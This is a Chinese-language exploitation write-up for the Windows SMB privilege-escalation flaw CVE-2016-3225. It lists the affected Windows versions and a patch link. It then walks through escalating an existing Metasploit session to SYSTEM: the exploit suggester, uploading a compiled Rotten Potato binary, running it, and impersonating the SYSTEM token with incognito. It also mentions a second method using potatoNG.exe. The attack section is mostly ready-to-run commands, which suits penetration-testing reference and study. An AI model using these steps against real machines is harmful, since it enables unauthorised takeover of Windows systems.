### CVE-2016-3225

#### 描述

Windows SMB 服务器特权提升漏洞（CVE漏洞编号：CVE-2016-3225）当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时，Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞，成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞，攻击者首先必须登录系统。然后，攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序，从而控制受影响的系统。

#### 影响版本

| Product             | CPU Architecture | Version | Update | Tested             |
| ------------------- | ---------------- | ------- | ------ | ------------------ |
| Windows 10          | x86/x64          |         |        |                    |
| Windows 10          | x86/x64          | 1511    |        |                    |
| Windows 7           | x86/x64          |         | SP1    | &#10004; |
| Windows 8.1         | x86/x64          |         |        |                    |
| Windows Rt 8.1      |                  |         |        |                    |
| Windows Server 2008 | x86/x64          |         | SP2    |                    |
| Windows Server 2008 | x86/x64          | R2      | SP1    |                    |
| Windows Server 2012 |                  |         |        |                    |
| Windows Server 2012 |                  | R2      |        |                    |
| Windows Vista       |                  |         | SP2    |                    |

#### 修复补丁

```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-3225
```

#### 利用方式

> 注意：需要用管理员权限运行MSF生成的文件才能提权到system权限

Windows 7 SP1 x64测试中，使用`whoami /priv`命令查看发现并无**SeImpersonatePrivilege**特权烂土豆提权需要该特权为开启状态，所以测试的时候直接用管理员权限运行

![image-20200819140202765](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64.png)

利用MSF+烂土豆提权，首先我们假定机器已经上线，通过msf中自带的插件来识别当前系统中可以利用的EXP来进行提权

```
use multi/recon/local_exploit_suggester
set session 1 #当前机器的session
run
```

如果没有用管理员权限运行MSF生成的exe的话，脚本检测是这样的

![image-20200819112155945](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64_msf_1.png)

如果使用管理员权限运行的话检测是这样的，可以看到比上面多了个ms16_075

![image-20200819140819782](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64_msf_2.png)

编译好烂土豆的文件

```
potato.exe
```

接着上传编译好的文件

```
upload /Users/ascotbe/Downloads/Potato.exe C:/Users/ascotbe #上传potato.exe到目标机器中的C:\Users\ascotbe目录下,msf无法识别\符号所以必须使用/符号
```

然后执行如下命令即可提权成功了

```
use incognito #加载incoginto功能（用来盗窃目标主机的令牌或是假冒用户)
list_tokens -u #列出目标主机用户的可用令牌
execute -cH -f C:/Users/ascotbe/potato.exe #创建新的进程
list_tokens -u #列出目标主机用户的可用令牌
impersonate_token "NT AUTHORITY\SYSTEM"#假冒目标主机上的可用令牌
```

![image-20200819141240274](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64_msf_3.png)

进入shell查看

![image-20200819141337651](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64_msf_4.png)

> 第二种利用方式

编译方式

- VS2019（V141）X64 Release

由于普通账号没有**SeImpersonatePrivilege**特权，这边用管理员账号来演示，利用程序**potatoNG.exe**直接上GIF图

![4](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64.gif)

